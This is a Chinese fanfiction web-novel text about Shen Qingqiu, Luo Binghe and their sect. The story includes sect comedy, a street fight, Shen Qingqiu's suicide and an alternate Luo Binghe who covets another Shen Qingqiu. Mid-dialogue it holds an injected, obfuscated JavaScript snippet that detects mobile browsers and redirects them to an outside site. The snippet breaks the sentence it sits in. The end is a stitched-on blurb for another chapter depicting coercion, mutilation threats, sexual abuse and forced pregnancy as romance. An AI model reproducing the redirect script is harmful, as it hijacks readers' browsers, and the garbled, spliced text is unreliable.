魏清巍主动和万剑峰峰主承认错误:“是弟子打造的暗器,才让沈师兄和柳师兄打起来。”“那你说说,这几枚毒针,优缺点在哪里?”“前端过轻,后尾凹槽过长,放到折扇之中不够稳定,存在平日里扇风会偶尔甩出的风险。”“有想着怎么改吗?”“向折扇尾部更深处?”老峰主摇摇头:“这样会影响折扇开合。”“针要略粗一些?”“会出现甩不出去的风险。”“那弟子不知了……”“你可曾想过,甩针抛物之时,手腕与折扇一同发力。平日里正常开合,打斗时比平日里开合程度更高?”“所以是使用手法?”“然也。”“怪不得柳清歌说是沈清秋能力问题。” 齐清萋被翩翩来迟的仙姝峰峰主打包拎走,边走边留下几句轻飘飘的笑声:“怎的,需要师尊为你赐婚吗?”“哪有!”“好了,看看你哪有淑女的样子,快跟我回去。” 清静峰老峰主悠哉赶来,先是看一眼旁边笑的自豪的百战峰老峰主,随手呼过去一道风刃,接着板正脸作严肃状:“清秋。”“弟子在!”“没打赢?”“我下次会赢过他的。”“哎,明明是读书的好料子。”“弟子今天就将〈xxx〉全部整理齐全。”“它还有几本引注……”沈清秋脸色一僵:“弟子会在三天内将它完成 ”“下次继续。”“?”沈清秋突然瞪大眼睛,仔细回想老峰主刚才说的,好像是‘继续’?所以他究竟是鼓励继续打架还是让他继续整理干活啊! ———— 除夕夜,万家灯火通明,沈清秋悄咪咪的喊木清芳和魏清巍下山采风。男人嘛,这种盛世佳节,怎么能错过?佳人在怀,美人相约,才符合世人幻想嘛。 三人刚准备下山,就看见了守在门口准备逮他们回去的岳清源。岳清源:“师尊让我带你们回去。”沈清秋:“哦。”岳清源:“不过我什么也没看见。”沈清秋带着人转身就走。 岳清源默默跟上。沈清秋:“你要逮我们回去?”岳清源:“我要跟在你身边。”沈清秋:“呵呵。” 下山到一半,看见正从家里回来的齐清萋和柳清歌。这两位都是世家之人,回来路上正好碰上。齐清萋随手拿出从家里打包的糕点,沈清秋自觉从储物袋取出茶具,配着山林雪水烹煮清茶。 众人悠然的在半山腰品茶赏景,看着山下的烟花璀璨,沈清秋心中发痒,不爽的斜岳清源一眼:“师尊们都在守岁,我们就不必上场了吧?” “清秋师弟说的是。不过既然想出门,不妨稍等等,待我将人召唤整齐,一同下山。” 苍穹山十二峰向来同气连枝,原本只是沈清秋与木清芳、魏清巍三人的勾栏听曲,最后竟成了十二人相携游逛灯市。 虽然目的与一开始大相径庭,但……沈清秋看眼浩浩荡荡的一群人,勾起嘴角:倒也不赖。 十二人终归太多,沈清秋甩开所有人,小心翼翼陪在齐清萋身边——他们之中只有这一位姑娘,世俗人杂,万不能让她出事。 只是怕什么就会来什么,齐清萋一身富贵打扮,脸上又是修炼带来的精致柔美,沈清秋虽紧随其间,但他毕竟也是个十多岁的少年郎。两个十几岁的孩童,又满脸新奇和稚嫩,最是容易被人盯上。 “小姑娘长得真好看,不妨跟我走?哥哥最喜欢的就是你这样的小姑娘。” “滚开!”沈清秋将齐清萋挡在身后,手中修雅格挡,灵气将两人护在一处。虽然身上有信号弹,可若是稍微遇到一点麻烦就摇人,未免太丢人了些! “诶呦,仔细看一下,这个小少年长得也不错嘛。皮肤细腻,腰也纤细,不少人最喜欢的,就是你这样的男倌呢。” “!!!”这句话着实踩了雷点,沈清秋快速用身上灵石为齐清萋布好防御阵法,接着一剑劈出去,就要跟人对打。 只是真正的实战与对战从来不一样,敌人从不会在乎什么点到为止,沈清秋的招式在比他修为更高、灵力更强的人看来,也无非是多花上些许力气罢了。 “沈清秋!”齐清萋一手锦缎鞭使得虎虎生威,一头向远处猛抽敌人,另一头则尽可能柔软的将沈清秋拉回防御阵中。她的武器更适合远战,若是被人近身,怕只能用不算熟悉的长剑拼死抵抗了。 世俗之间的争斗与他们内部打架从来不同,这些人是真的想将他们打成骨折和残废、接着将他们掳走! 就在沈清秋手中摸着信号弹时,柳清歌从一旁突然闪现,与刚进入两人攻击范围的一人对起手来。柳清歌的战力在十二峰首席中独占鳌头,可年龄与经验却在实战中显得过于薄弱,即便他拼尽全力,也最多能以一敌三。 “新来的这个,莫不是女扮男装?这身姿虽然硬朗,可这张脸,倒是出卖了你啊!”从刚才嘴里就一直不干不净的黑衣人笑了笑,手指着沈清秋:“一个像是柔若男倌,一个女扮男装,倒是般配。” “噗…哈哈”沈清秋现在完全不觉得被人骂娇弱值得愤怒,听到那句说柳清歌女扮男装的评价笑的眼泪都要流出来了,跟着添把火:“柳公子向来姿色绝佳、面若好女。” 柳清歌脚下猛的一滑,来不及扭头,愤怒的声音已经传过去:“沈清秋!” 就连一旁远远提供辅助帮助的齐清萋,都忍不住嘴角弯弯,视线快速在两个斗嘴之人间轮转:这两人,怎么不算欢喜冤家呢? 随着信号弹发出,苍穹山其他人快速赶到,岳清源负责掌控全局,木清芳和尚清华提供治疗和后续援助,魏清巍虽然不重剑术,但他手中各式铁器层出不穷,对武器弱点更是如数家珍。苦行峰、xx峰等人更是直接加入战局,十二人荣辱与共、同战强敌。 “点子扎手!”黑衣人挥挥手示意撤退,不理解只是想掳走两个孩童,怎么就被一群少年给围攻了。而且这群少年,单个实力虽然只在练气和筑基上下,却能依靠武技和配合将他们困在此地。 刚才的信号弹他也看见了,指不定打了小的就会引来一群老的,若是惊动此地的苍穹山,那可就得不偿失了。 “走!”黑衣人一声令下,其他人快速隐身于黑暗之中。 “小九,你怎么样?”岳清源牵住沈清秋的手腕,仔仔细细的将沈清秋全身打量一番,从木清芳手中取过外伤药小心的替他包扎。 “看吧,诶就说他俩人关系密切的很。” “人家可是年少玩伴,熟悉是应该的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075134|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是吗?齐清萋和柳清歌也是年少相识,怎的就不一样?” “一个是世家,一个是凡尘,哪能一样?” “喂!”柳清歌顶着齐清萋给他打了n个巨大的蝴蝶结,一脸不爽的看着沈清秋:“你说什么好女?” “当然是柳公子容颜绝佳……”沈清秋刚抬头,话音立刻低了下来。脖子轻轻缩起来,弱弱开口:“师尊——” 其他人停止热闹的打趣,一个个跟被霜打的茄子一样,低如鹌鹑:“清静峰老峰主好。” “出来就惹事,回去统一写三千字检讨,让你们师尊交到穹顶峰去。” “是……” 沈清秋被老峰主压着肩膀,小心翼翼的露出讨乖笑容:“师尊……” “你跟他们不一样。”老峰主随手一道灵力击出,几个黑衣人被捆在地上。随意的将绳子捏在手里,带着沈清秋飞在前方。 “清秋啊。”“弟子在。”“你能不能收敛一下,不要老是给我惹事。你知不知道,我现在一出门就是专门替你擦屁股善后。原本我们好好的喝着酒,一看信号弹,其他人立马冲我笑,我连跟他们赌是不是因为你都不敢应!”“……” 其他人实力强的御剑带着实力弱的,围在清静峰老峰主附近,听到老峰主这般‘无奈吐槽’,纷纷笑起来。沈清秋除了张牙舞爪的冲其他人做鬼脸,整个人委委屈屈的窝在老峰主身侧,当真是可怜极了。 众人刚一进山门,尽皆吓出冷汗来——实在是太棒了,苍穹山十二峰的其他峰主都在山门杵着呢。也不知是什么样的大事,能令修真界正道大派之苍穹山十二峰的峰主齐齐出动。 其中百战峰峰主最为火热,手中的棍子在柳清歌还没站稳之时已经挥出,连带着还停留在半空的尚清华一个激灵,快速从半空中翻滚出去,急忙脱离这两个好战分子的包围圈。果不其然,柳清歌直接以内力震碎齐清萋给他裹的满身蝴蝶结,举起剑就是火拼。两人边打边骂,一个说“小兔崽子哪都敢惹祸”一个说“心中不平便要拔剑除魔”,一个骂骂咧咧要打死敢顶嘴的不孝徒,一个沉稳冷酷时刻在寻找对方破绽、意欲将其打倒。 千草峰老峰主平日里最为温柔,所谓医者仁心,他身上一直围绕着能令人平心静气、自发沉静的草药香。只是此时,看见偷偷摸摸、畏畏缩缩的木清芳,忍不住跟百战峰一样,拎着他的领口就骂:“老子让你治病救人,结果你下山之后尽情摆弄毒药?我好好一个救死扶伤的地方,你是想改拜万毒窟吗?”“没……”“虽说医毒不分家,但是也不能以毒行走天下吧?”木清芳愣了一下,看眼老峰主的神情,一切尽在不言中,立刻心有所感,低下头恭敬道:“弟子明白了。” 看着周围都在‘教训弟子’,万剑峰峰主咳嗽一声,看着板正立在面前的魏清巍,努力融入环境:“清巍啊。好好练你的兵器不好吗?居然专门下山去打架。这次出门采集灵感,想好下一件装备的设计稿了吗?”“回师尊,弟子发现诸个兵器弱点,并且一一记录在心,回去就写报告!”“不错不错,下次……咳咳。”老峰主看其他人还没‘教育’完,继续端正脸色,顺便将之前的兵器拿出来,一点点跟魏清巍讲解起来。 “清秋。”清静峰老峰主点了点沈清秋的肩膀,示意他看向山林下方的凡尘。 “哗啦……”“噗咚——”“唰啦啦……” 一束束烟花绽放于天际,星光璀璨之中,是比日月还要明亮的绚丽花火。短暂的嘶鸣后,被点燃的火药升至万里高空,炸裂的光芒如同最为浓墨重彩的彩色画笔,于夜幕中肆意挥洒,接着像流星雨般快速四散消逝。 “清秋,岁岁年年,美满将与你同在。” 沈清秋抬起头,看着旁边早已停手的诸位同伴及峰主们,轻轻点头。苍穹山,一贯是同气连枝,携手共进。 老峰主心情好,挥毫泼墨间将十二峰(老峰主)共同喝酒守岁的场景描绘出来。沈清秋紧随其后,将十二人共同上街游玩、对战外敌的场面勾勒出来。 两人停笔后相视一笑,各自卷起,小心翼翼的珍藏起来。 ———— 故事到这里,沈清秋的记忆中满是幸福。或者说,人之将死,回忆之中,满是回不去的团圆美满。 沈清秋右手一挥,场景变成了清静峰。或者说,是没被毁灭之前的,清静峰。 玄肃剑是宽剑,修雅剑是细长剑,这与人的性格很是匹配。岳清源忠厚诚恳,主掌平衡与事务;沈清秋性情冷漠,主快准狠解决敌人。 沈清秋右手持剑,左手举杯对月,一口喝干后猛的将杯子甩向地面,在清脆的破碎声中,于月光下舞剑。 我的热血只为目标而流;傲骨只为理想而折。轻裘长剑,烈马狂歌,忠胆义胆壮山河;柔情铁骨,千金一诺,剑光闪处如泣如歌。 既然天道让他在中途强制下线,又在他再次睁眼之后赠予如此结局,沈清秋除了早些回归故里,与那些人换个世界相见,别无他法。 只是—— 这样的收场未免过于荒唐,这心中的郁气,更是憋闷的不得不发! 沈清秋一个回手掏,残剑被舞出幻行,而在这万千光影之中,真正的哪一柄,被直直的插入洛冰河的心口。 天魔一族,不死不灭。即便是真的刺伤心口,也不会因此死亡。 沈清秋嘴角勾起满意的微笑,薄唇轻起:“这一剑,断师恩。” 他养出一个灭世魔头。 所以他要杀了对方。 他养出一个三界至尊。 所以他为之自豪。 这一剑直击要害,若非天魔族特性,只这一剑,就足以彻底结束。 此间事已了,他当赶赴故人。 沈清秋毫不留念的将玄肃拔出,大量的动脉血喷涌而出,倒刺上满是洛冰河的血肉。沈清秋右手轻划,脆弱的咽喉立刻流淌出与洛冰河一样鲜红的河流。 旁边被大量灵力维系的‘清静峰夜景’,也随之破碎成星光点点。 洛冰河将栽倒在自己怀里的人放置于地面,看着心口涌出的鲜血,后知后觉的将手放上去,感知着疼痛。 他今后,只有一位尊师,那便是梦魇。 细细密密的微疼从心口涌出,期间还参杂着说不清道不明的酸涩。一定是流血太多,要不然他怎么会感到这样的错觉? 底下人颤颤巍巍的询问着,洛冰河有些迷茫的看着对方,眼里是难得的脆弱。 “葬了吧。” “是。” 第二章命运齿轮的转动,是看见另一种开展 沈清秋死在洛冰河眼前。这个事情还是很有冲击力的。尤其是,沈清秋死之前还给他自己来了个幸福时刻走马灯,最后又将玄肃捅到洛冰河心口,心满意足的自裁去另一个世界赴约。 他怎么就那么舒服? 洛冰河有点不理解。 而且最重要的是,洛冰河不仅仅不理解沈清秋,更不了解为什么看着沈清秋那样轻飘飘的死亡,洛冰河的心里开始生出别样滋味。 只是就算是有又如何?人已经死了,亲自死在他面前,他探过鼻息、查找过假死可能,最后判定人确实凉了。 在他路上走着时,遇见了另一个和他长得极像的男子。那家伙一身白衣,与黑衣的他截然不同。两人见面的那一刻,命运的转轮好像开始转动,双方只是一个对面,就明白了‘另一个自己’。他问他:“你将我师尊藏哪了?” “?”洛冰河看着对方的样子,忍不住看了眼旁边——是自己的宫殿,亦没进入幻境,这个人从何而来?又莫名其妙说些什么玩意? 对方怕是看他没理解,又重复到:“你将沈清秋弄哪了?” 沈清秋?洛冰河摸摸还没恢复的心口,理所应当的回答:“死在地牢中。” 洛冰河想一下在自己面前自尽的沈清秋,心里还有些怵气。又看一眼和自己一模一样的白衣冰妹,不由声音加重:“你来我对地盘,见到主人家不先报上姓名,也不递上拜帖,莫名其妙找我要一死人,意欲何为?” 冰妹不相信‘沈清秋死亡’,也不认为‘沈清秋真的会死亡’。即便是他师尊自曝于他面前,五年后还不是又重新出现? 过去的那场大战中,冰妹将沈垣囚进地牢,对外游走之际,沈垣逃离,并死在冰妹怀中。人总是得到以后会想要更多,失去以后才感到心口的空荡荡。冰妹独自守了五年的尸体,终于明白一件事—— 甭管‘沈清秋’有多少的异常、多么怪的举止、心中又装了多少零零碎碎的东西——只要他在身边,能睁开眼看他,能听他说话,能摸着冰妹的头微笑,就够了。 冰妹不会在乎这个人是好是坏,也不在意他究竟是精神分裂还是异魂夺舍。这个灵魂就算是罪大恶极毁天灭地,可他只要对冰妹好就够了。只要这个人存在,并且能被冰妹拥在怀中,其他什么都不重要。 故而。冰妹不会允许‘沈清秋死亡’,更不会允许面前这个‘心魔’这样肆无忌惮的跟他表示‘沈清秋离开这个世界、再也不会睁眼看你’。 “带我去见他!我要带他走!”冰妹的态度很直接。对于心魔,本就是要以直白应对,越能分辨自己的心意,就越无懈可击。 “?”洛冰河只觉得眼前之人莫名其妙。且不说人已经死了,即便是没死,他又为何要听从?他看起来很热情好客、喜欢分享吗?洛冰河发出灵魂质问:“我的东西为什么要给你?” 冰妹看着完全不配合的洛冰河,又看眼布局大差不差的魔宫,径直向地牢走去:“你不交,我就自己去!” “?”这人不仅脑子有坑,而且还非常不客气啊?秉持着‘出师有名’的良好习俗,洛冰河再次确定对方目的:“你要劫狱?为了一个死人?” “他不可能会死!” “我探过鼻息和灵魂,人确实死过了。” “!”冰妹震惊的看着洛冰河,眼里满是不可置信。如果‘沈清秋’连灵魂都寻不到,必然是面前之人干得:“是你杀了他?”要不然,‘沈清秋’不可能死的这么干净! 面对冰妹的质问,洛冰河觉得心口又疼起来了。想着沈清秋快速利落的捅杀和毫不犹豫的抹脖子,洛冰河磨了磨牙齿:“是他自己杀的。”而且一点点灵魂都没留下,死的相当干脆。 “你看着他为你自曝,就那么看着?” “‘沈清秋’怎么可能因为我自曝,他是没路可走才自裁的,你脑子被浆糊糊住了吗,他怎么可能因为你?” “师尊就是因为我!” “他心中从来没有‘洛冰河’,就算是在你面前自裁,也是走投无路、不得不为之,你还真以为那种冷血冷肺的家伙会对你好?凡靠近又性情大变者,皆是有异常心思!” “我说,他就是因为我!” “有病。”冰哥最后做出总结,转身就走。临走前,还看一眼冰妹:“你还真喜欢上那种从来看不见你的东西啊?你把修真界搞成那个样子,他就算是没死也要被你气死。” “我师尊不会这样!” “哦。是不会因为你的成就而满意,还是不会因为你而情绪波动,还是不会看着被你搞得一塌糊涂的世界而气的半死?” “!!!” “搁着那么多人命,你不会以为他会喜欢你这个罪魁祸首吧?就算是对你展露笑颜,你俩心中就不膈应?” “你是他最优秀的弟子,可是他不仅不会看你,还因为你的引动乾坤致使苍生颠覆,最后就算是跟你一起,估计也是害怕你对他下手,不得不为之吧。” “师尊跟我在一起当然是因为爱!” “哦。爱~”冰哥嘴角勾起冷笑:“‘沈清秋’会爱上‘洛冰河’,还真是美好的幻梦呢~他那么爱你,会不会帮你杀欺负过你的人呢?” “他会!师尊说就算他死了,也会护着我不死!” “呵。他杀的是敌对之人,还是亲近之人?如果你要求他替你杀明帆,斩岳清源,他是会笑眯眯的替你动手,还是拼命安慰你,拉住你不要起冲突呢?” “他……” “‘洛冰河’,你还真信‘沈清秋’能爱上你,心甘情愿、毫无芥蒂?欺骗别人可以,洗脑自己,就太过火了吧?” “我师尊就是为了我,绝对是为了我!”冰妹受不得冰哥的挤兑,拔剑就砍。这个梦境造物实在过于毒舌,还完美踩到了‘沈清秋究竟爱不爱洛冰河’这个点上,哪怕是攻击梦境造物会使自己受伤,冰妹也要毁灭这里! 冰哥看着刺过来的心魔剑,快速布下结界,与之对打。 (……) 冰哥与冰妹打架旗鼓相当,只是那玩意就跟有毒似的,嘴里不停说着‘师尊是爱我的’‘把师尊还给我’‘师尊怎么可能不爱我’‘师尊愿意为了我送命’,简直疯魔! 冰哥终于将那唠唠叨叨的玩意撵走,警惕性极高的进入寝殿——心魔剑造成的伤害实在难以恢复,这种重伤的状态实在不适合见人。 “冰河?” “谁?”冰哥看着敢胆大妄为榄自己的人,下意识一掌挥出去,听到熟悉的一声‘诶呦!’ 冰哥看过去,熟悉却许久没见的衣衫身影,以及完全不同的神情。“沈清秋?” 冰哥有些震惊——他刚见到一个‘自己’,现在又看见一个‘沈清秋’,他的地盘是被人侵占了吗?一个两个当他没脾气,敢这样入侵他的空间? 卧榻之侧岂容他人安睡,想到那个自己为‘沈清秋’疯魔的样子,冰哥打算先将人抓起来丢地牢。 遇见敌人,抓住敌人,拷打情报。 这一整个流程完全没毛病。 只是冰哥没想到的是,这个‘沈清秋’居然随便拍了两下后背,嘴里嘟嘟囔囔的说着‘不就是两天没让你睡床,至于吗’,然后又一次榄起他,给他输送灵力:“这是又跟心魔打架了,告诉你多少次不要出手不要出手……” “???” 许是过于震惊,冰哥就那么任他输送了几瞬的灵力,接着猛然将对方推开:“沈清秋!你发什么疯!” 惊恐。简直太恐怖了。 这个‘沈清秋’居然真跟那个畜生说的一样,这么主动!洛冰河长这么大来,还没人敢揽着他的腰,说他年轻气躁,不该打架! “嗯?”沈垣看着闹脾气的冰哥,又看看冰冷空荡荡魔宫,自顾自点头:“走,我们回家。” ‘回家。’ 这个词,莫名有点触动。 ‘沈清秋’揽着‘洛冰河’,说要带他‘回家’。 天知道,他绝对! 冰哥垂下眼帘:会心动的。 他都打下三界了,这么大的功绩,他的沈清秋还依旧安稳的待在地牢,就像是所有考核弟子般的严师一样,问他后续处理的如何,有没有实行仁政,有没有妥善处理战俘。 在得到‘修真界根尽数毁灭’‘修真者被满天下追杀’‘凡尘人族主动上交宝物’后,气得自裁。 他以为他是谁?一个阶下囚罢了。现在居然还想摆出尊师的架子,要求他合理处理战后事宜,尽可能保全其他人。如果洛冰河不同意,就会气得吹胡子瞪眼,以死谢天下吗? 他自己都没办法保全,要不是地牢人越来越多,冰哥也不喜欢虐待俘虏,沈清秋自己都得死的死、伤的伤!哪里还能端着严师文臣的气节跟他扛来杠去? “走。”沈垣抱着冰哥,架起修雅,向苍穹山飞去。 冰哥很好奇,这个‘沈清秋’是会带他去完好的苍穹山,还是被他围剿后的苍穹山?换句话说,究竟是他误入了别人的世界,还是别人入侵他的地盘? 这一点很关键。 —— 跟‘沈清秋’在一起御剑飞行,还是同一柄剑,被别人揽在怀里这个姿势,对冰哥来说很新奇。 他比‘沈清秋’要高大,对方的身躯更要清秀娇小一些,如果是‘洛冰河’揽着‘沈清秋’,应该会更为合适。 当然,现在情景交换,冰哥也能勉强接受——高空之下是已经恢复生息的修真界,眼前的苍穹山看起来很是高大巍峨。 看来,真正的入侵者,是冰哥自己啊。 这么说,这个世界,也可以考虑征战一下。只是那个‘洛冰河’的战力不低,这场仗恐怕不好打。 “师尊!”宁嘤嘤看见两人,笑嘻嘻的迎上来:“掌门师伯刚才差人喊您,您要不要过去看看?” “嗯。”沈垣点点头,带冰哥进入竹屋:“冰河,你先好好恢复,为师去去就来。” ‘为师。’ ‘冰河。’ 这两个词,冰哥也没听到‘沈清秋’喊过。 这一刻,冰哥做出了和冰妹一样的操作:虚弱的咳嗽一声,然后用眼睛看着对方。 这不是卖萌!是示敌以弱! 冰哥面上柔弱,眼底却翻涌:沈清秋,我不信你如表现出那般‘温柔’,在岳清源的传唤和‘洛冰河’的无声阻拦中,你选择谁? 面对‘洛冰河’的乖巧卖萌下,沈垣当然……选择留下啊!掌门师兄如果有事会直接发急件的,‘冰妹’的安抚才是最重要的! 故而沈垣将床榻收拾整齐,示意冰哥坐上去:“脱衣服。” “?”冰哥突然觉得不有趣并且还有些惊恐了。 ‘沈清秋’如此热情直白的吗?这不是师徒,是伴侣吧?怪不得那个‘洛冰河’一副为沈清秋而战的狂热样子,如果是‘夺妻之恨’的情况下,对方的行为倒也有迹可循了。 “想什么呢!”沈垣轻轻踢了冰哥一脚:“给你处理伤口!” “哦。”冰哥磨磨唧唧的除去外衫,瞄沈垣一眼:这家伙好像眼里确实只有紧张和心疼。 很好。他的身子应该能保住。 不对。 冰哥突然扯了下嘴角:他为什么会突然想到这种问题啊。而且就算是睡了,也是他占便宜,干什么扭扭捏捏? 不过‘沈清秋’和‘洛冰河’赤城相见这种事……冰哥还真是第一次,去思考。 沈清秋那个老古板又天天绷着脸的性子,一天天人前装的跟什么儒家典范似的,私底下却没事就流连花海,当真将外表严肃和内在闷骚展现的淋漓尽致。 不过他到也还算有分寸,至少从没出现过山下有女人寻来闹事的情况。唯一一个有关系的女子,就是让冰哥用来设局的秋海棠。当时秋海棠怎么说来着?好像是,从小就是看起来沉稳乖巧,实际上桀骜不驯、犯下灭门惨案? 再加上沈清秋诛杀柳清歌一事,‘沈清秋乃是虚伪刻薄之人’的事情被定的死死的。再加上宁嘤嘤出来作证,说沈清秋对门下唯一一个女弟子有过想法,两人相处过于密切。‘沈清秋’的君子声名,直接被毁的粉碎。 但奇怪的是,即便是‘沈清秋’被实锤生性风流,又长了那样一张招蜂引蝶的脸和消瘦纤细的身姿。凭借其冷若冰霜的为人处事和淡漠无情的行事作风,即便苍穹山小道消息风流韵事不减,却没人真敢对他表达什么。 这就导致,面前那个‘沈清秋’主动让冰哥坐在属于他的床铺之上,要求冰哥脱去衣服,帮他处理伤口时,冰哥下意识的不敢相信和有些脸红。 一个老古板的主动邀约,即便是明知道眼前这个不是本人,冰哥还是下意识将人带入,并且狠狠唾弃了一下自己。他怕个蛋啊!眼前这个根本没认出自己,地牢里那个现在还昏迷不醒,无论哪方面,冰哥完全不该怂的好吗! 实在不行……睡了对方之后,把人带回去当皇后,让三界都尊重点他,给予他无上权势,还不够弥补和宠爱吗? 而地牢里那个,治好之后放出去,任他研究什么仁道君道的,或者干脆没事打上几架,随便任命个将军国师什么的,让他去替自己除理战后事宜,发挥余热去吧! 虽说见识到‘沈清秋’的风采后冰哥也有点想把老古董修正成这样,但是强扭的瓜不甜,他还不至于饥渴成这样。男人的身躯还是过于硬朗,若不是这个人是‘沈清秋’,冰哥更希望和柔软甜美的小姐姐贴贴。 冰哥将内衬去除,露出满身伤疤——其实也还好,天魔血的治愈能力很强,这点小伤几天就消除了,完全没必要专门涂药。只是‘沈清秋’既然有心给他上药,冰哥又怎会拒绝呢? “哎。”冰哥听到了‘沈清秋’的叹息。就像是真的在为他而疼惜,为他而在乎一样:“冰河,为师说过多次,不要与梦境造物对打,不要与之对打,你怎么就不听呢?” “看看,又是满身的伤痕。” “!!!”冰哥眼神亮了一下,下意识想抓住身后‘沈清秋’的手腕。 ‘沈清秋’居然在关心‘洛冰河’,不仅细致的给他上药,细细碎碎的言语中,温情与在意简直拉满。 这个认知冲刷着冰哥的心神,竟有一刻产生了占有欲——这个‘沈清秋’,即便身上充满了别人的味道,但弄走也不亏。 冰哥得承认自己不是什么好人。杀戮覆灭了无数生灵不说,现在还对别人的所有物起了心思。只是那又如何呢?他想要得到的,就要弄到手。那个小畜生想保证自己的东西不被抢走,就要保证能打得过他才是。 赢者通吃,输者痛哭。这世道本就如此,冰哥并不觉得自己的行为有什么不对。 只是眼前这个既然没发现‘洛冰河’已经换了人,冰哥陪他玩一段时间段过家家,又能花费什么力气? “师—尊—?”冰哥扭头看向沈垣,试探着呼喊。沈清秋可从不会回应他,当然他们两个单独相见的机会几乎没有,冰哥一般都融在人群里面,哪里会得到和沈清秋交流的场景? “嗯。”沈垣认真帮冰哥打好绑带,将接头的蝴蝶结打得方方正正。 “师尊。”冰哥又喊一次。 “嗯。” “师尊——”“师尊?”“师—尊——” 沈垣虽然好奇‘洛冰河’今天怎么突然这么黏人,却还是一一应了。语气是十分的容忍和十二分的温情,性情平和而包容性极强。 很好。 冰哥单方面宣布,这个‘人’,是他的了。 别管这个‘沈清秋’究竟什么原因没认出来区别,也别管他的温情究竟是对着谁。他既然对冰哥付出了柔情,那就是主动勾引于他,佳人相约,冰哥岂有将人放走之理? 两人本在一个喊一个应,却突然听到外方有声音响起:“柳师叔,师尊休息了!” “说过多少次,他可以回来,那个不行!” 柳清歌怒气冲冲的声音从外面传来,一脚踹开竹屋的门,拎着乘栾剑直指冰哥:“魔族的杂种,滚出苍穹山!” “呵。”冰哥冷笑一声,手中捏着心魔剑就想打。他听到过无数沈清秋与柳清歌不合的传闻,如今终于相见,不打上一场,算不得痛快。连岳清源都能死在他手中,整个修真界残余被他撵得如丧家之犬,鲜少碰上如此烈性之人了。 冰哥改变主意了。 他不想带面前这个‘沈清秋’走。 而是想占领这个世界。 开疆扩土、收拢版图。本就是男儿心之所向,而今既然遇见,为何不一同打下来? 只是这个想法还没来得及实施,就被沈垣压了下来:“柳师弟,这里是清静峰。” “除魔卫道乃修真者天性,魔族的杂碎不能出现在苍穹山,尤其是他!” “柳师弟,我说了,这里是清静峰。柳师弟若心生不满,要么跟我打,要么找岳师兄下达指令,沈某今后不回来就是。” 冰哥看着将自己护在身后的沈垣,心中突然想起来口口声声对他说‘师尊就是为了我’‘师尊说就算他死了,也会护着我不死’‘我和师尊在一起当然是因为爱’的冰妹。 ‘真刺眼啊。’ 冰哥想。 眼前这个护着自己的‘沈清秋’,居然不是自己的。最重要的是,他还将自己认成了其他人,对自己像是母鸡一样,护着身为三界尊主、举世无敌的冰哥。 沈垣对‘洛冰河’越好。 冰哥就会越嫉妒。 这是人之本性,是骨子里的恶劣。 决定了,这个‘沈清秋’他一定要搞在手里,如果不能,就用点手段搞到手里。没道理他现在能对冰哥这么好,识别身份之后,却又收回吧? 如果真是这样…… ‘沈清秋’,相信你会重新对我付出温柔的。 随便打发走柳清歌,沈垣看着在一旁翻看 7. 冰哥遇见沈垣后,将九折磨致死 文案: 师尊啊,我也喜欢温柔如水、体贴细致的恋人呢。若是不行的话,你对我笑一笑也是好的。可你为什么就连对我笑一下都不愿意呢…… 所谓强制爱,从来不是强势的那方趾高气扬的做些什么;弱势的那方只能被虐身虐心后还要被迫献出自己的爱。 冰哥:师尊啊,你若是眼睛里没我,那么眼睛就不需要存在了;你若是想逃跑,那么双腿也无需留有了;你若是想反抗,那么能发出抵抗的胳膊,也可以丢掉的。 沈九:让男频仙尊去与女频师尊受学习,梦呢?说两句好听话就要奉上自己的感情,想那么美呢?砍你几刀后轻飘飘的一句‘我错了,你看我都认错了’,就该原谅一切? ———— 永远不能原谅的过往,永远无法跨过的隔阂,死去无法复生的性命—— 就因为换了个世界,沈九就该用自己的爱,去换取冰哥不再灭世吗? 阴冷残酷的性子,是不可能改变的;表面温柔的举止,是无法掩盖灵魂的恶臭;看似退了又退的动作,却实际上步步紧逼,以苍生为筹码,迫使对方就范。 开文灵感 师尊啊,你这水木双灵根(私设),正适合当炉鼎,弟子心痒很久了。 滚!我就算死,也不会便宜你这个畜牲! 说罢,无处可逃的沈清秋竟自废修为! 师尊啊……你这可真是……弟子虽然想把你当炉鼎,但是你现在失了修为,又用什么抵抗弟子呢? ———— 师尊,你流连风月从中,听过不少女子眉叫,不知今日,可能让弟子听听你的? 师尊,别咬了,弟子的血,可不是那么好喝的。 师尊,你现在命门已在我手中,只要求个绕,我就放过你,如何? 师尊,你还真天真啊,魔族的话怎么能信呢?非我族类、其心必异,不是吗? 师尊的声音真好听,就是话太多,看来还是弟子不够努力啊…… 师尊,弟子给的东西就好好''拿''着,这次若是又丢了,弟子会很生气的。 ———— 明明是你毁了我!为什么,为什么! 明明是你的错误,为什么最后为你埋单的是我? ———— 师尊,弟子错了,弟子以为用族人威胁他一定肯拿出来,没想到他还敢有胆子给假的! 弟子已经将他诛了十族,剉骨扬灰、魂飞魄散! 师尊,魔族的孩子是死不掉的,能让男子怀孕的丹药被做了手脚,轻易弃不得,您就再忍几个月…… ———— 听说了吗?魔族王妃沈清秋怀孕了,魔族的王正四处搜罗东西讨皇妃欢心呢! 什么?那个正道第一大派不也有个''沈清秋''? 不是那个,估计是魔族故意恶心他们,专门改的名字! 唉,这可真是,苍穹山派没意见? 苍穹山派放出消息,清净峰峰主闭了死关,要不然不得前往魔界打一打? ———— 师尊,您就多少吃点吧,魔族的孩子如果营养不够,会为了活命强行吸取母体生命的! 师尊,我知你不喜欢我,也不喜欢他,可是为了能活下去,您多少吃点吧! 师尊!你要是在不配合,弟子只能''喂您''了! ———— 唉,王为了王后真是努力啊 可不是嘛,王后一天天死气沉沉的,肚子却一日比一日大,说不定还没等到时间,王妃就被胎儿给吸收营养死去了! 你不要命了!快掌嘴!要不然没人救得了你! ———— 据说王和王妃都是被父母抛弃的? 差不多吧,所以王对这一胎充满了希望,想要给他世界上最好的东西,但现在……王却恨不得杀了他! 多可惜的孩子啊,原应是世界上最幸福的孩子,却因杀死了自己的''母亲''……被王厌恶…… 不是说王妃没死? 